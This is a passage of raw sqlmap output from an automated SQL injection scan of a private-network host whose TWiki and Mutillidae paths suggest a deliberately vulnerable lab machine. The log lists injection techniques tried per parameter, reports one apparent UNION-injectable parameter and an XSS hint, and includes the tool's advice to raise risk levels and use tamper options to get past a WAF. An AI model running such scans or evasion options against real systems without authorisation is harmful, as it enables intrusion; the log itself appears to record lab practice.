'template' [19:16:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:16:25] [INFO] heuristics detected web page charset 'ascii' [19:16:25] [WARNING] reflective value(s) found and filtering out [19:16:26] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:16:26] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:16:26] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:16:27] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:16:27] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:16:27] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:16:28] [INFO] testing 'MySQL inline queries' [19:16:28] [INFO] testing 'PostgreSQL inline queries' [19:16:28] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:16:28] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:16:28] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:16:28] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:16:29] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:16:29] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:16:29] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:16:30] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:16:30] [INFO] testing 'Oracle AND time-based blind' [19:16:31] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:16:31] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:16:35] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:16:40] [WARNING] GET parameter 'template' is not injectable [19:16:40] [INFO] testing if GET parameter 'param1' is dynamic [19:16:40] [WARNING] GET parameter 'param1' does not appear dynamic [19:16:40] [WARNING] heuristic (basic) test shows that GET parameter 'param1' might not be injectable [19:16:40] [INFO] heuristic (XSS) test shows that GET parameter 'param1' might be vulnerable to XSS attacks [19:16:40] [INFO] testing for SQL injection on GET parameter 'param1' [19:16:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:16:41] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:16:41] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:16:42] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:16:42] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:16:43] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:16:43] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:16:44] [INFO] testing 'MySQL inline queries' [19:16:44] [INFO] testing 'PostgreSQL inline queries' [19:16:44] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:16:44] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:16:44] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:16:45] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:16:45] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:16:45] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:16:46] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:16:47] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:16:47] [INFO] testing 'Oracle AND time-based blind' [19:16:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:16:54] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:17:00] [WARNING] GET parameter 'param1' is not injectable [19:17:00] [INFO] testing if GET parameter 'param2' is dynamic [19:17:00] [WARNING] GET parameter 'param2' does not appear dynamic [19:17:00] [WARNING] heuristic (basic) test shows that GET parameter 'param2' might not be injectable [19:17:00] [INFO] testing for SQL injection on GET parameter 'param2' [19:17:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:17:01] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:17:02] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:17:02] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:17:03] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:17:03] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:17:04] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:17:04] [INFO] testing 'MySQL inline queries' [19:17:04] [INFO] testing 'PostgreSQL inline queries' [19:17:04] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:17:04] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:17:05] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:17:05] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:17:05] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:17:06] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:17:06] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:17:07] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:17:07] [INFO] testing 'Oracle AND time-based blind' [19:17:08] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:17:14] [INFO] target URL appears to be UNION injectable with 1 columns [19:17:14] [WARNING] applying generic concatenation with double pipes ('||') [19:17:14] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. '--dbms=mysql') [19:17:14] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:17:21] [WARNING] GET parameter 'param2' is not injectable [19:17:21] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [19:17:21] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/WebHome?skin=print&rev=1.19' [19:17:21] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/WebHome?rev=1.21' [19:17:21] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Main/WebHome?template=oopsmore¶m1=1.21¶m2=1.19' [19:17:21] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=usage-instructions.php' [19:17:21] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=redirectandlog.php' [19:17:21] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=credits.php' URL 91: GET http://192.168.1.113/twiki/bin/search/TWiki/?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on&limit=100 do you want to test this URL? [Y/n/q] Y [19:17:21] [INFO] testing URL 'http://192.168.1.113/twiki/bin/search/TWiki/?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on&limit=100' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [19:17:21] [INFO] testing connection to the target URL [19:17:22] [INFO] testing if the target URL is stable [19:17:22] [INFO] target URL is stable [19:17:22] [INFO] testing if URI parameter '#1' is dynamic [19:17:22] [INFO] confirming that URI parameter '#1*' is dynamic [19:17:22] [INFO] URI parameter '#1*' is dynamic [19:17:22] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [19:17:23] [INFO] testing for SQL injection on URI parameter '#1*' [19:17:23] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:17:24] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:17:24] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:17:24] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:17:25] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:17:25] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:17:26] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:17:26] [INFO] testing 'MySQL inline queries' [19:17:26] [INFO] testing 'PostgreSQL inline queries' [19:17:26] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:17:27] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:17:27] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:17:27] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:17:28] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:17:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:17:29] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:17:29] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:17:30] [INFO] testing 'Oracle AND time-based blind' [19:17:30] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:17:30] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:17:36] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:17:43] [WARNING] URI parameter '#1*' is not injectable [19:17:43] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 92: GET http://192.168.1.113/twiki/bin/search/TWiki/?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on&limit=200 do you want to test this URL? [Y/n/q] Y [19:17:43] [INFO] testing URL 'http://192.168.1.113/twiki/bin/search/TWiki/?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on&limit=200' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [19:17:43] [INFO] testing connection to the target URL [19:17:44] [INFO] testing if the target URL is stable [19:17:45] [INFO] target URL is stable [19:17:45] [INFO] testing if URI parameter '#1' is dynamic [19:17:45] [INFO] confirming that URI parameter '#1*' is dynamic [19:17:45] [WARNING] URI parameter '#1*' does not appear dynamic [19:17:45] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [19:17:45] [INFO] testing for SQL injection on URI parameter '#1*' [19:17:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:17:46] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:17:47] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:17:47] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:17:48] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:17:48] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:17:49] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:17:49] [INFO] testing 'MySQL inline queries' [19:17:49] [INFO] testing 'PostgreSQL inline queries' [19:17:49] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:17:49] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:17:50] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:17:50] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:17:51] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:17:51] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:17:52] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:17:52] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:17:53] [INFO] testing 'Oracle AND time-based blind' [19:17:53] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:17:53] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:18:00] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:18:07] [WARNING] URI parameter '#1*' is not injectable [19:18:07] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 93: GET http://192.168.1.113/twiki/bin/search/TWiki/?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on&limit=400 do you want to test this URL? [Y/n/q] Y [19:18:07] [INFO] testing URL 'http://192.168.1.113/twiki/bin/search/TWiki/?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on&limit=400' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [19:18:07] [INFO] testing connection to the target URL [19:18:09] [INFO] testing if the target URL is stable [19:18:09] [INFO] target URL is stable [19:18:09] [INFO] testing if URI parameter '#1' is dynamic [19:18:09] [INFO] confirming that URI parameter '#1*' is dynamic [19:18:10] [WARNING] URI parameter '#1*' does not appear dynamic [19:18:10] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [19:18:10] [INFO] testing for SQL injection on URI parameter '#1*' [19:18:10] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:18:11] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:18:11] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:18:12] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:18:13] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:18:13] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:18:14] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:18:14] [INFO] testing 'MySQL inline queries' [19:18:14] [INFO] testing 'PostgreSQL inline queries' [19:18:15] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:18:15] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:18:15] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:18:16] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:18:16] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:18:17] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:18:17] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:18:18] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:18:19] [INFO] testing 'Oracle AND time-based blind' [19:18:19] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:18:19] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:18:26] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:18:33] [WARNING] URI parameter '#1*' is not injectable [19:18:33] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 94: GET http://192.168.1.113/twiki/bin/search/TWiki/?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on&limit=800 do you want to test this URL? [Y/n/q] Y [19:18:33] [INFO] testing URL 'http://192.168.1.113/twiki/bin/search/TWiki/?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on&limit=800' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [19:18:33] [INFO] testing connection to the target URL [19:18:34] [INFO] testing if the target URL is stable [19:18:35] [INFO] target URL is stable [19:18:35] [INFO] testing if URI parameter '#1' is dynamic [19:18:35] [INFO] confirming that URI parameter '#1*' is dynamic [19:18:35] [WARNING] URI parameter '#1*' does not appear dynamic [19:18:35] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [19:18:35] [INFO] testing for SQL injection on URI parameter '#1*' [19:18:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:18:37] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:18:37] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:18:37] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:18:38] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:18:38] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:18:39] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:18:39] [INFO] testing 'MySQL inline queries' [19:18:39] [INFO] testing 'PostgreSQL inline queries' [19:18:40] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:18:40] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:18:40] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:18:41] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:18:41] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:18:41] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:18:42] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:18:42] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:18:43] [INFO] testing 'Oracle AND time-based blind' [19:18:44] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:18:44] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:18:50] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:18:57] [WARNING] URI parameter '#1*' is not injectable [19:18:57] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 95: GET http://192.168.1.113/twiki/bin/search/TWiki/SearchResult?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on do you want to test this URL? [Y/n/q] Y [19:18:57] [INFO] testing URL 'http://192.168.1.113/twiki/bin/search/TWiki/SearchResult?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [19:18:57] [INFO] testing connection to the target URL [19:18:59] [INFO] testing if the target URL is stable [19:18:59] [INFO] target URL is stable [19:18:59] [INFO] testing if URI parameter '#1' is dynamic [19:18:59] [INFO] confirming that URI parameter '#1*' is dynamic [19:19:00] [WARNING] URI parameter '#1*' does not appear dynamic [19:19:00] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [19:19:00] [INFO] testing for SQL injection on URI parameter '#1*' [19:19:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:19:01] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:19:01] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:19:02] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:19:02] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:19:03] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:19:03] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:19:03] [INFO] testing 'MySQL inline queries' [19:19:03] [INFO] testing 'PostgreSQL inline queries' [19:19:04] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:19:04] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:19:05] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:19:05] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:19:05] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:19:06] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:19:06] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:19:07] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:19:07] [INFO] testing 'Oracle AND time-based blind' [19:19:08] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:19:08] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:19:15] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:19:22] [WARNING] URI parameter '#1*' is not injectable [19:19:22] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 96: GET http://192.168.1.113:80/twiki/bin/edit/TWiki/WebChanges?t=1441456979 do you want to test this URL? [Y/n/q] Y [19:19:22] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/TWiki/WebChanges?t=1441456979' [19:19:22] [INFO] testing connection to the target URL [19:19:22] [INFO] testing if the target URL is stable [19:19:23] [INFO] target URL is stable [19:19:23] [INFO] testing if GET parameter 't' is dynamic [19:19:23] [WARNING] GET parameter 't' does not appear dynamic [19:19:23] [WARNING] heuristic (basic) test shows that GET parameter 't' might not be injectable [19:19:23] [INFO] testing for SQL injection on GET parameter 't' [19:19:23] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:19:24] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:19:24] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:19:25] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:19:25] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:19:26] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:19:26] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:19:26] [INFO] testing 'MySQL inline queries' [19:19:26] [INFO] testing 'PostgreSQL inline queries' [19:19:26] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:19:26] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:19:27] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:19:27] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:19:28] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:19:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:19:29] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:19:29] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:19:29] [INFO] testing 'Oracle AND time-based blind' [19:19:30] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:19:30] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:19:36] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:19:42] [WARNING] GET parameter 't' is not injectable [19:19:42] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 97: GET http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Web Changes[^A-Za-z] do you want to test this URL? [Y/n/q] Y [19:19:42] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Web Changes[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [19:19:42] [INFO] testing connection to the target URL [19:19:42] [INFO] testing if the target URL is stable [19:19:43] [INFO] target URL is stable [19:19:43] [INFO] testing if URI parameter '#1' is dynamic [19:19:43] [INFO] confirming that URI parameter '#1*' is dynamic [19:19:43] [INFO] URI parameter '#1*' is dynamic [19:19:43] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [19:19:43] [INFO] testing for SQL injection on URI parameter '#1*' [19:19:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:19:43] [WARNING] reflective value(s) found and filtering out [19:19:45] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:19:45] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:19:45] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:19:46] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:19:46] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:19:47] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:19:47] [INFO] testing 'MySQL inline queries' [19:19:47] [INFO] testing 'PostgreSQL inline queries' [19:19:47] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:19:48] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:19:48] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:19:48] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:19:49] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:19:49] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:19:50] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:19:50] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:19:51] [INFO] testing 'Oracle AND time-based blind' [19:19:51] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:19:51] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:19:57] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:20:02] [WARNING] URI parameter '#1*' is not injectable [19:20:02] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 98: GET http://192.168.1.113:80/twiki/bin/view/TWiki/WebChanges?skin=print do you want to test this URL? [Y/n/q] Y [19:20:02] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebChanges?skin=print' [19:20:02] [INFO] testing connection to the target URL [19:20:03] [INFO] testing if the target URL is stable [19:20:04] [INFO] target URL is stable [19:20:04] [INFO] testing if GET parameter 'skin' is dynamic [19:20:04] [INFO] confirming that GET parameter 'skin' is dynamic [19:20:04] [INFO] GET parameter 'skin' is dynamic [19:20:04] [INFO] heuristics detected web page charset 'ascii' [19:20:04] [WARNING] heuristic (basic) test shows that GET parameter 'skin' might not be injectable [19:20:04] [INFO] testing for SQL injection on GET parameter 'skin' [19:20:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:20:04] [WARNING] reflective value(s) found and filtering out [19:20:07] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:20:07] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:20:08] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:20:09] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:20:10] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:20:11] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:20:12] [INFO] testing 'MySQL inline queries' [19:20:12] [INFO] testing 'PostgreSQL inline queries' [19:20:12] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:20:12] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:20:13] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:20:14] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:20:15] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:20:16] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:20:17] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:20:18] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:20:20] [INFO] testing 'Oracle AND time-based blind' [19:20:21] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:20:21] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:20:34] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:20:48] [WARNING] GET parameter 'skin' is not 